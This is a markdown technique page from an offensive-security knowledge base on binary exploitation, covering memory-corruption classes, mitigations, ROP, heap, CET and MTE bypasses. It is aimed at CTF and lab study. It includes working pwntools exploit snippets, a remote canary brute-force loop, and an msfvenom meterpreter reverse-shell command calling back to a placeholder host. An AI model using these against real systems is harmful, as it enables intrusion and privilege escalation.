Skip to content

Latest commit

 

History

History
487 lines (387 loc) · 23.3 KB

File metadata and controls

487 lines (387 loc) · 23.3 KB
title Binary Exploitation
type technique
tags
binary
exploitation
git-poc
post-exploitation
phase exploitation
date_created 2026-05-08
date_updated 2026-07-14
sources
git-raptor
Malware-ccdcoe-essentials-bof
hacktricks-binexp

Binary Exploitation

What it is

Binary exploitation is the practice of finding and leveraging memory-corruption or logic flaws in compiled programs to gain arbitrary code execution, information disclosure, or privilege escalation. It applies on any target where you have a shell or can submit input to a locally-running binary.

Prerequisites

  • Low-privilege shell on target (or local binary for CTF/lab)
  • Ability to execute the binary and observe output/crashes
  • Knowledge of target architecture (x86-64 is default below)

Memory Corruption Classes

Class Root cause Typical impact
Stack buffer overflow Write past fixed-size stack buffer Control RIP (return address)
Heap buffer overflow Write past heap allocation Corrupt adjacent chunk metadata or data
Use-after-free (UAF) Use pointer after free() Read/write freed memory; hijack vtable
Double-free free() same pointer twice Corrupt allocator freelist → arbitrary alloc
Format string Attacker controls printf format arg Arbitrary read (%s) or write (%n)
Integer overflow Signed/unsigned wraparound in size calc Undersized allocation → overflow
Type confusion Object used as wrong type Corrupt object fields; vtable hijack
TOCTOU race Check then use with window Bypass check; race to swap file/fd
Null pointer deref Dereference NULL Usually DoS only; exploitable if lower mapping exists

Binary Protections

Protection checksec flag Effect Bypass approach
ASLR kernel (/proc/sys/kernel/randomize_va_space) Randomizes stack, heap, libraries Info leak → compute base; partial overwrite
NX / DEP NX enabled Stack/heap not executable ROP chain; ret2libc
Stack canary Canary found Random cookie before return address Leak canary via format string or partial read
PIE PIE enabled Binary base randomized Info leak; partial 1-byte overwrite
RELRO Partial Partial RELRO .got writable after load GOT overwrite
RELRO Full Full RELRO .got AND .fini_array read-only after load No GOT/fini_array write; find writable target
Fortify Source FORTIFY Runtime checks on strcpy, memcpy, etc. Find unchecked path
CFI Forward-edge control flow validation Very hard; find call site without CFI coverage
checksec --file=./binary
checksec --proc-all        # running processes

glibc Version-Specific Mitigations

Run feasibility analysis before writing exploit code. The table below maps glibc version to what technique dies:

glibc version What breaks
2.29+ Tcache hardening — checks key field on double-free
2.32+ Safe linking — freelist pointers XOR'd with heap_base >> 12; must leak to compute
2.34+ __malloc_hook / __free_hook / __realloc_hook removed — overwriting them does nothing
2.35+ __after_morecore_hook removed
2.38+ %n format specifier blocked empirically on many distros (test — don't assume)
ldd --version | head -1          # glibc version on target
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"

Environment downgrade: If modern mitigations block all paths, run the binary inside Docker with Ubuntu 20.04 (glibc 2.31) to re-enable hooks and disable safe linking:

docker run -it --rm -v $(pwd):/work ubuntu:20.04 bash

Exploit Feasibility Analysis

Run this before writing a single line of exploit code. checksec shows what protections exist; feasibility analysis shows what's actually possible given the combination of protections + input handler + glibc version.

from packages.exploit_feasibility import analyze_binary, format_analysis_summary
result = analyze_binary('./target')
print(format_analysis_summary(result, verbose=True))

Verdict system:

Verdict Meaning
Exploitable Good primitives, clear path to code execution
Difficult (Constrained) Primitives exist but hard to chain; consider alternatives
Unlikely (Blocked) No known viable path with current constraints
Not Applicable Web vuln; memory mitigations don't apply

Two-axis model: verdict (can you trigger it?) is separate from impact (what happens?). A null pointer dereference can be "Exploitable" with impact "DoS" — the bug is real and controllable, but only crashes the process.

Chain breaks — respect them:

  • Full RELRO listed → do NOT try GOT overwrite OR .fini_array (same segment)
  • hooks removed listed → do NOT try __malloc_hook / __free_hook
  • %n blocked listed → do NOT try format string write

Enabling vulnerabilities (low standalone impact, critical for chaining):

  • Info leak → leaks ASLR base (turns Unlikely → Exploitable)
  • Format string read → leaks canary (unblocks stack overflow)
  • UAF read → leaks heap layout (enables safe-linking bypass)

Stack Exploitation

# 1. Find overflow offset
from pwn import *
io = process('./binary')
io.sendline(cyclic(200))
io.wait()
core = Coredump('./core')
print(cyclic_find(core.fault_addr))   # offset to RIP

# 2. Basic ret2libc (no PIE, no ASLR)
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])   # leak puts@got
rop.call('main')                      # loop back
# ... receive leak, compute libc base, call system('/bin/sh')

Pattern for ASLR + PIE:

  1. Info leak → compute PIE base and/or libc base
  2. Build ROP using known offsets from base
  3. Overwrite return address with ROP chain

Heap Exploitation

Tcache (glibc 2.26–2.31, partially hardened 2.29+)

Allocate chunk → free → free again (double-free, pre-2.29)
tcache next pointer now points to fake chunk
→ next malloc returns fake chunk → arbitrary write

Safe linking bypass (glibc 2.32+)

Freelist ptrs are stored as ptr XOR (heap_base >> 12). Must leak heap address to decode/encode.

# Decode stored pointer
stored = 0xdeadbeef12345678
decoded = stored ^ (heap_leak >> 12)

GOT overwrite (Partial RELRO only)

# Overwrite got[puts] with system address
target = elf.got['puts']
payload = b'A' * offset + p64(target)

Alternative targets when standard paths blocked

  • .bss writable globals (function pointers, state flags)
  • Stack return address (requires stack leak with ASLR)
  • __stack_chk_fail@got (Partial RELRO only)
  • C++ vtable entries in heap (UAF → arbitrary virtual call)

ROP Chains & One-Gadget

# Find ROP gadgets
ROPgadget --binary ./binary --rop
ropper --file ./binary --search "pop rdi"

# Find one-gadget (requires libc leak)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Output shows constraints: [rsp+0x50] == NULL, etc.

Bad byte filtering: If input handler is strcpy, null bytes (0x00) terminate input. On x86-64, canonical addresses have null at byte 6–7 — multi-gadget chains with pop rdi ; ret + address are blocked. One-gadget with satisfiable constraints is often the only path.

ROP chain skeleton (ret2libc):

from pwn import *
elf = ELF('./binary'); libc = ELF('./libc.so.6')
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(next(elf.search(b'/bin/sh\x00')))
rop.raw(rop.find_gadget(['ret']))          # stack alignment for Ubuntu
rop.raw(libc.sym['system'])

When you have no libc leak / few gadgets:

  • ret2csu: the __libc_csu_init "universal gadget" (non-PIE, pre-2.34) sets rdi/rsi/rdx from pop rbx/rbp/r12/r13/r14/r15 then call [r15+rbx*8] - control 3 args when no clean pop rdx gadget exists.
  • ret2dlresolve: forge Elf64_Rela + Elf64_Sym + string in a writable area and jump to _dl_runtime_resolve (PLT[0]) to resolve system from the dynamic linker - no libc leak needed. Partial RELRO only. pwntools: Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']).
  • SROP (sigreturn-oriented programming): if you control a syscall; ret and can set rax=15 (sigreturn), push a fake sigcontext frame on the stack to load every register at once -> call execve("/bin/sh",0,0). Ideal for tiny statically-linked binaries / read-primitive-only. pwntools: SigreturnFrame().
  • ret2syscall (static binaries): chain pop rax/rdi/rsi/rdx + syscall to call execve directly when there is no libc.
# SROP example
frame = SigreturnFrame()
frame.rax = constants.SYS_execve; frame.rdi = binsh
frame.rsi = 0; frame.rdx = 0; frame.rip = syscall_ret
payload = b'A'*offset + p64(pop_rax_ret) + p64(15) + p64(syscall_ret) + bytes(frame)

Seccomp jails: dump the filter with seccomp-tools dump ./binary; if execve is blocked, switch to an ORW chain (open/read/write the flag) instead of a shell.


Exploit Primitive Classification

Primitive Impact Notes
Arbitrary write Critical Write controlled data to controlled address
Controlled jump Critical Redirect execution to arbitrary address
Constrained write High Write controlled data to semi-controlled address
Info leak High Read arbitrary memory; enables ASLR bypass
Constrained jump Medium Jump to limited set (ROP gadgets)
Crash only Low No control; DoS only

Primitives chain: info leak → ASLR bypass → constrained write → controlled jump → shell.


Signal Analysis for Exploitability

Signal Address Likely exploitability
SIGSEGV Controlled (0x4141414141) Exploitable — controlled RIP or arbitrary write
SIGSEGV Low (0x0–0xFFFF) Usually DoS — null ptr deref
SIGSEGV Heap address Possibly — UAF or heap corruption
SIGABRT From malloc/free Possibly — heap corruption; check double-free
SIGABRT From assert Rarely — logic error
SIGFPE Division by zero Usually DoS
SIGFPE Integer overflow Depends on consequence
SIGILL Any Highly — RIP corrupted to non-code

Bad Character Enumeration

When strcpy/recv strips certain bytes, the shellcode or address is corrupted mid-payload. Identify bad chars before writing shellcode.

# Send all bytes \x01–\xff (excluding known bad \x00) after padding
badchars = bytes(range(1, 256))
io.sendline(b"A" * offset + b"C" * 4 + badchars)

In GDB/GEF, inspect where the sequence breaks:

gef> x/20c $esp    # scan stack bytes; find first missing/garbled byte

Remove the offending byte, re-send, repeat until clean run. Then pass the full bad-char list to msfvenom:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=5555 \
  -b '\x00\x0a\x33\x42\x55\xcb' PrependSetuid=true -f python -o buf.py

Hardware breakpoints: Software breakpoints (break *0xADDR) inject \xCC opcodes and can shift stack addresses during shellcode testing. Use hardware breakpoints instead:

gef> hb *0xffffcd30

Stripped Binary Analysis

When the binary has no debug symbols (file shows stripped):

  1. info functions shows only PLT stubs — no main, vuln, etc.
  2. Use a decompiler (Ghidra, IDA Free) to trace execution from _start → locate the priv-escalation or shell-spawning function.
  3. In GDB, disassemble at the raw address: disas 0x08049236
  4. The find command can locate strings: find &system,+9999999,"/bin/sh"

For local privilege escalation via a vulnerable setuid function (not shellcode):

# Just overwrite EIP/RIP with the address of the vulnerable function
eip = p32(0x08049236)   # function that calls setuid(0) + execve("/bin/sh")
payload = b"A" * offset + eip

Windows SEH Exploitation

See [[seh-exploitation]] for the full technique. Key differences from standard stack BOF:

  • Overflow must reach the SEH record ([next_SEH][SE_handler] on the stack)
  • Trigger an exception (path-traversal prefix, AV, divide-by-zero)
  • Point SE_handler at a POP; POP; RET gadget (in a module without SAFESEH/ASLR)
  • Place short-jump bytes (\xeb\x04\x90\x90) at next_SEH slot
  • Shellcode sits earlier in the buffer; a long backward jump reaches it

ret2shellcode / ret2reg / jmp esp (NX disabled)

When the stack/region is executable (checksec shows NX disabled, or a mprotect/RWX map), skip ROP and jump straight to inline shellcode. If ASLR randomizes the stack you cannot hardcode its address, so ret2reg: find a register that already points at your buffer at the return site and jump through it.

ropper --file ./vuln --search "jmp esp"      # or jmp eax / call eax / jmp rsp
ROPgadget --binary ./vuln --only "jmp|call" | grep -iE "esp|eax|rsp"
# EIP -> `jmp esp` gadget, shellcode placed right after it on the stack
sc = asm(shellcraft.sh())        # or msfvenom with -b to avoid bad chars
payload = b"A"*offset + p32(JMP_ESP) + sc

Pick the reg by inspecting registers at the crash (info registers in GDB) for one aimed into your controlled data. On x86 jmp esp from a non-ASLR module is the classic SEH/BOF primitive. ARM64 equivalent (br x/inline) exists but NX is hardware-enforced on Apple arm64 so no stack shellcode there.

Stack Canary and PIE bypass (brute-force + partial overwrite)

Forked service brute-force: a server that fork()s per connection reuses the SAME canary (and stack/PIE base) in every child, so leak it one byte at a time by overflowing exactly onto the canary and testing crash vs no-crash. 8 bytes x max 256 tries.

canary = b""
while len(canary) < 8:
    for b in range(256):
        r = remote(host, port)
        r.send(b"A"*offset + canary + bytes([b]))
        if b"OK-marker" in r.clean():   # survived -> byte correct
            canary += bytes([b]); r.close(); break
        r.close()

Threads share the canary too, and a bof in a thread stack can reach and rewrite the master canary in TLS (both copies then match, check passes). PIE/stack addresses in the same forked process are brute-forceable byte-by-byte the same way (or partial-overwrite the low bytes since the low 12 bits survive ASLR). Note: statically-compiled canaries may not show in checksec; confirm by spotting a value saved at prologue and checked before ret.

Integer Overflow/Underflow and Array-Indexing exploitation

Three exploitable shapes:

  • Truncated size: uint32_t n = (uint32_t)(count*elem); wraps to a tiny value, the buffer is under-allocated, then a full-size copy overflows the heap into an adjacent object (e.g. flip is_admin). Trigger with count = 2**32, elem = 1 -> alloc 32, copy huge.
  • Unsigned underflow: size_t payload = total - HEADER; with total < HEADER yields a near-max size_t, so a bounded read still walks far past the small buffer.
  • Signed-to-unsigned: a negative user int used as a size_t length or as > 1000 becomes huge; a 1-byte length field lets 260 masquerade as 4 to pass a length check then overflow.
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2**32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32
io.send(b"A"*48 + p32(1))                           # overwrite is_admin

Array indexing: no specific method, it is index math without a bound. Classic wins: two parallel arrays (addresses[] and sizes[]) that collide so writing a "size" is really an address write -> put a GOT address as a size, overwrite free@GOT with system, free a /bin/sh chunk. Or an off-by-one on a stack array to control an adjacent pointer -> write-what-where. Unchanged on ARM64.

Arbitrary-Write-to-Exec target catalog (post-write pivots)

Once you have a write-what-where, where you point it depends on RELRO/glibc era:

  • GOT/PLT entry (Partial/No RELRO): overwrite a soon-called func with system/one_gadget. Full RELRO kills GOT and .fini_array.
  • __exit_funcs / atexit handlers (fired by exit() or return from main, which is __run_exit_handlers(&__exit_funcs,...)): pointers are PTR_MANGLEd (rol 0x11 then xor with the TLS pointer-guard cookie). Recover the cookie from the known _dl_fini ef_cxa entry, or zero the cookie so demangle is just a rotate, then forge a fake exit_function_list with an ef_cxa entry {fn=mangled(system), arg=binsh} and repoint __exit_funcs.
    ror = lambda x,n: ((x>>n)|(x<<(64-n))) & ((1<<64)-1)
    rol = lambda x,n: ((x<<n)|(x>>(64-n))) & ((1<<64)-1)
    guard   = ror(enc_dl_fini, 0x11) ^ real_dl_fini
    enc_sys = rol(real_system ^ guard, 0x11)
  • .fini_array / ld.so link_map: overwrite l_info[DT_FINI_ARRAY] (or the stack pointer to link_map) to a fake array whose first entry is a one_gadget; also usable to build an eternal write loop via __libc_csu_fini.
  • TLS tls_dtor_list (run by __call_tls_dtors on exit): sits next to the canary and mangle cookie; overflow the cookie to 0 then chain {func, obj} destructors.
  • __printf_arginfo_table / vtable (__free_hook/__malloc_hook on <=2.33): legacy but easy when present. Debug checklist: b __run_exit_handlers, x/10gx &__exit_funcs, x/gx $fs_base+0x30. Useless if the target ends via _exit() (no handlers run).

CET / Shadow Stack and modern mitigations that break ROP

Newer x86 CPUs/OSes ship CET: a hardware Shadow Stack (SHSTK) keeps a protected copy of return addresses, and every ret faults (Control-Protection) if the normal-stack return does not match. This breaks ret2*, ROP chains, and leave;ret / EBP2Ret pivots at the first ret. IBT (endbr64) additionally forces indirect branches to land on marked targets, hurting JOP.

readelf -n ./bin | grep -E 'SHSTK|IBT'          # is the binary CET-marked?
grep -E 'user_shstk|ibt' /proc/cpuinfo          # CPU/kernel capable?
grep x86_Thread_features /proc/$$/status        # active for this process? expect: shstk

Implications for exploitation: prefer non-ret control transfers, data-only / write-what-where targets (__exit_funcs, GOT with Partial RELRO), or SROP where the target does not authenticate. Lab-only: boot param nousershstk disables it (never on production targets). Windows exposes the same as CETCOMPAT / Hardware-enforced Stack Protection. Related ARM64 analogues: PAC (signs return addresses) and BTI.


MTE (ARM Memory Tagging Extension) and its bypasses

MTE is ARMv8.5 hardware that tags every 16-byte memory granule with a 4-bit key and stores a matching tag in the top byte of each pointer. On access the hardware compares pointer tag vs memory tag; a mismatch means an OOB or use-after-free. It is the tagging engine behind Android's hardware scudo/MTE heap and in-kernel Hardware-Tag-Based KASAN.

First triage question is not "does the CPU support MTE" but "is this process actually running tagged and enforcing":

grep -i mte /proc/cpuinfo                     # HWCAP2_MTE advertised
readelf -n ./target | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'   # note: BTI/PAC, not a reliable MTE-on check
rg -n 'PROT_MTE|PR_SET_TAGGED_ADDR_CTRL|memtagMode' .         # source/manifest indicators
# Android per-process fault mode:
adb shell debuggerd <pid> | head -30 | grep tagged_addr

Check modes and why they matter to an exploit:

  • SYNC: the faulting load/store is blocked before its effect is visible (SIGSEGV/SEGV_MTESERR). Hardest to beat.
  • ASYNC: checked lazily, process usually dies on the next kernel entry (SEGV_MTEAERR). A corruption that completes inside one quiet window before the next syscall/scheduler event can still land, so ASYNC/ASYMM are the softer targets.
  • ASYMM (sync reads, async writes) and per-core preferred modes: /sys/devices/system/cpu/cpu*/mte_tcf_preferred can silently upgrade a process to a stricter mode when it migrates cores, so the prctl() request is not always the mode you actually attack.

Practical bypasses (MTE is probabilistic, not a wall):

  • Leak the tag: with the tag known the mitigation collapses. PTRACE_PEEKMTETAGS/POKEMTETAGS read/write tags in a tracee for local PoCs.
  • Tag collision on reuse: a blind UAF where the chunk is reallocated with the same tag succeeds at roughly 1/14 per try (values 0xE/0xF are reserved in common Linux implementations, so 14 practical tags, not 16). Kernel path note: tag 0xF has match-all behavior in several kernel code paths, so forged 0xF pointers are prized in kernel exploitation.
  • Intra-granule overflow: a 35-byte request occupies the 32-48 granule, so bytes 36-47 share the object's tag and an overflow into them is invisible. The last-granule slack is the most reliable MTE blind spot.
  • Untagged paths: vmalloc, stacks (unless built with -fsanitize=memtag sync stack tagging), globals, and DMA buffers are often not covered.
  • PSTATE.TCO: a thread can disable its own tag checking once you already have controlled execution (post-corruption, not a pre-exploitation bypass).
  • Speculative tag leak (TikTag, 2024): TIKTAG-v1/v2 gadgets recover the 4-bit tag of an arbitrary address with >95% success in under 4s via a speculative tag-checked access plus a cache side channel, demonstrated against Chrome and the Linux kernel. This turns MTE from probabilistic into systematically derandomizable: leak the vuln object's tag, leak the target's tag, groom until they match, then fire the UAF/OOB with the correct tag.

Cross-refs: [[binary-exploitation]] CET/shadow-stack and PAC/BTI sit alongside MTE as the ARM64 mitigation stack; [[kernel-exploitation]] for the KASAN-MTE kernel angle.

Related techniques

  • [[heap-exploitation]] — glibc heap deep-dive: tcache poisoning, fastbin/large-bin, house-of, FSOP, version-target matrix
  • [[format-string]] - %s/%n read/write primitives, GOT overwrite, offset finding
  • [[rop-techniques]] - stack pivoting, BROP, ret2csu, ret2dlresolve
  • [[arm64-exploitation]] - AArch64 stack overflow, ret2win, ret2syscall, PAC/BTI
  • [[seh-exploitation]] — Windows SEH exploitation deep-dive
  • Dirty Frag (CVE-2026-43284 / CVE-2026-43500) — kernel page-cache write primitive; same bug class as Dirty Pipe and Copy Fail
  • [[linux-privesc]] — Linux privilege escalation overview including kernel LPE CVEs
  • [[ios-exploitation]] — XNU userland and kernel exploitation, PAC/PPL/SPTM mitigations, jailbreak chains
  • [[crypto-constant-identification]] — spotting known crypto/compression algorithm constants in a stripped binary during RE

Quick Reference

# Binary analysis
checksec --file=./binary
file ./binary
strings ./binary | grep -E "flag|pass|key|secret"

# Run with GDB / pwndbg
gdb -q ./binary
(gdb) run < <(python3 -c "print('A'*100)")
(gdb) info registers
(gdb) x/20gx $rsp

# Pwntools skeleton
from pwn import *
context.binary = elf = ELF('./binary')
p = process('./binary')
# p = remote('host', port)

# patchelf — swap interpreter/libc for version testing
patchelf --set-interpreter /path/to/ld.so ./binary
patchelf --replace-needed libc.so.6 /path/to/libc.so.6 ./binary

From the Wild

HTB — Gofer (2023)

  • Technique variant: Gopher SSRF, LibreOffice Macro Phishing, tcpdump Exploit
  • Attack path: Gopher protocol SSRF via internal proxy, craft phishing doc with LibreOffice macro, tcpdump SUID for root